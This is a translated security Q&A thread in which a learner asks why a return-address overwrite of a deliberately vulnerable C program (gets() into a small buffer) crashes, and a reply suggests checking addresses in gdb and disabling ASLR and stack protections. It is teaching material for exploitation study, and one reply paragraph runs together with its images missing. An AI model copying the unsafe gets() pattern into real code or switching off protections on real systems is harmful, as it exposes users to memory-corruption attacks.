Problema explotando el Desbordamiento de Buffer en un programa C simple

2

Soy nuevo en las explotaciones de desbordamiento de búfer y comencé con un programa en C simple. Mi programa es el siguiente:

#include <stdio.h>
#include <strings.h>


void execs(void){
    printf("yay!!");
}

void return_input (void)
{
    char array[30];
    gets(array);
}

int main()
{
    return_input();
    return 0;
}

Compilé el programa anterior con cc deshabilitando stack protector como:

cc test.c -o test -fno-stack-protector

El volcado del archivo elf que usa objdump es el siguiente:

0804843b <execs>:
 804843b:   55                      push   %ebp
 804843c:   89 e5                   mov    %esp,%ebp
 804843e:   83 ec 08                sub    $0x8,%esp
 8048441:   83 ec 0c                sub    $0xc,%esp
 8048444:   68 10 85 04 08          push   $0x8048510
 8048449:   e8 b2 fe ff ff          call   8048300 <printf@plt>
 804844e:   83 c4 10                add    $0x10,%esp
 8048451:   90                      nop
 8048452:   c9                      leave  
 8048453:   c3                      ret    

08048454 <return_input>:
 8048454:   55                      push   %ebp
 8048455:   89 e5                   mov    %esp,%ebp
 8048457:   83 ec 28                sub    $0x28,%esp
 804845a:   83 ec 0c                sub    $0xc,%esp
 804845d:   8d 45 da                lea    -0x26(%ebp),%eax
 8048460:   50                      push   %eax
 8048461:   e8 aa fe ff ff          call   8048310 <gets@plt>
 8048466:   83 c4 10                add    $0x10,%esp
 8048469:   90                      nop
 804846a:   c9                      leave  
 804846b:   c3                      ret    

0804846c <main>:
 804846c:   8d 4c 24 04             lea    0x4(%esp),%ecx
 8048470:   83 e4 f0                and    $0xfffffff0,%esp
 8048473:   ff 71 fc                pushl  -0x4(%ecx)
 8048476:   55                      push   %ebp
 8048477:   89 e5                   mov    %esp,%ebp
 8048479:   51                      push   %ecx
 804847a:   83 ec 04                sub    $0x4,%esp
 804847d:   e8 d2 ff ff ff          call   8048454 <return_input>
 8048482:   b8 00 00 00 00          mov    $0x0,%eax
 8048487:   83 c4 04                add    $0x4,%esp
 804848a:   59                      pop    %ecx
 804848b:   5d                      pop    %ebp
 804848c:   8d 61 fc                lea    -0x4(%ecx),%esp
 804848f:   c3                      ret    

Por lo tanto, para explotar el búfer ( array ), necesitamos encontrar el número de bytes asignados en el marco de pila return_input que al ver el volcado,

lea    -0x26(%ebp),%eax

es 0x26 en hexadecimal o aproximadamente 38 en decimal. Por lo tanto, dando entrada como:

  

38 + 4 (caracteres aleatorios) + (retorno de los ejecutivos)

ejecutaría la función execs . Utilicé lo siguiente:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test

Pero la salida fue:

  

Fallo de segmentación (núcleo volcado)

Cuando abrí el core (archivo de volcado del núcleo) usando gdb , pude encontrar un error de segmentación al ejecutar en la siguiente dirección:

0xb76f2300

Versión de Ubuntu: 16.10

Versión del kernel: 4.8.0-46-genérico

¿Qué estaba haciendo mal? Por favor ayúdame.

Gracias.

    
pregunta Panther Coder 09.06.2017 - 16:44
fuente

1 respuesta

3

EDITAR: Ahora creo que su núcleo está en su camino, pero no estoy completamente seguro de cómo, vea la parte inferior para el apéndice.

ORIGINAL: OK, compilé mi propia versión usando su código fuente exacto, creo que su problema principal es saltear un paso entre objdump y usar la dirección. Siempre es una buena idea asegurarse de que está localizando la dirección correcta al encontrarla también en gdb, a veces necesitamos asegurarnos de que la dirección que vemos en objdump sea realmente la que encontramos cuando ejecutamos gdb.

El resto de lo que has hecho parece estar bien, traté de seguir pasos similares y tuve éxito:

encontré la dirección de mi función y navegué a un lugar cercano donde ocurre la primera pulsación:

Midirecciónpareceser0x00401460cool.Ahoramedoycuentadedóndenecesitoqueestémidesbordamiento,elmétodoqueusasteesgenial,soyperezosoysolohicealgunaspruebasyerrores:

despuésdeesosolofuecuestióndeinsertarmiinstruccióneneip:

En general, lo único que hice diferente a ti fue verificar dos veces la dirección EIP que estaba usando antes de intentar explotar. Eso es lo único en lo que puedo pensar que te está arruinando. Porque todo lo demás que hiciste parece correcto, y tampoco tuve problemas con tu método.

EDITAR:

Al pensar en esto, quizás la verdadera diferencia sea nuestro sistema operativo. Linux tiene protecciones contra este tipo de cosas y se deben abordar algunas cosas para permitir desbordamientos en los programas compilados. Hay otra diferencia importante y eso es compilador.

No sé qué versión de kernel tiene, pero intente lo siguiente:

sysctl -w kernel.randomize_va_space=0
gcc prog.c -o prog -fno-stack-protector -D_FORTIFY_SOURCE=0 -z execstack

Si eso no funciona, (primero deshaga el comando sysctl) luego puede probar un kernel anterior en una máquina virtual, como ubuntu 9 o algo así. A continuación, intente los comandos anteriores allí.

Pero me temo que no he intentado deshabilitar la protección de la pila en núcleos más modernos. así que no sé si eso sería suficiente para hacer que esto funcione. Lo que puedo decir es esto, creo que lo entendiste bien. Algo está en tu camino y no estoy seguro de qué es. En cuanto a la hazaña, no veo nada malo en lo que hiciste. Esperemos que alguien más pueda ver el problema real con mayor claridad, pero lo que creo está sucediendo aquí es que las protecciones del kernel a nivel del sistema operativo están tomando el control para evitar que la vulnerabilidad de desbordamiento salte a la dirección deseada.

    
respondido por el Nalaurien 09.06.2017 - 23:02
fuente

Lea otras preguntas en las etiquetas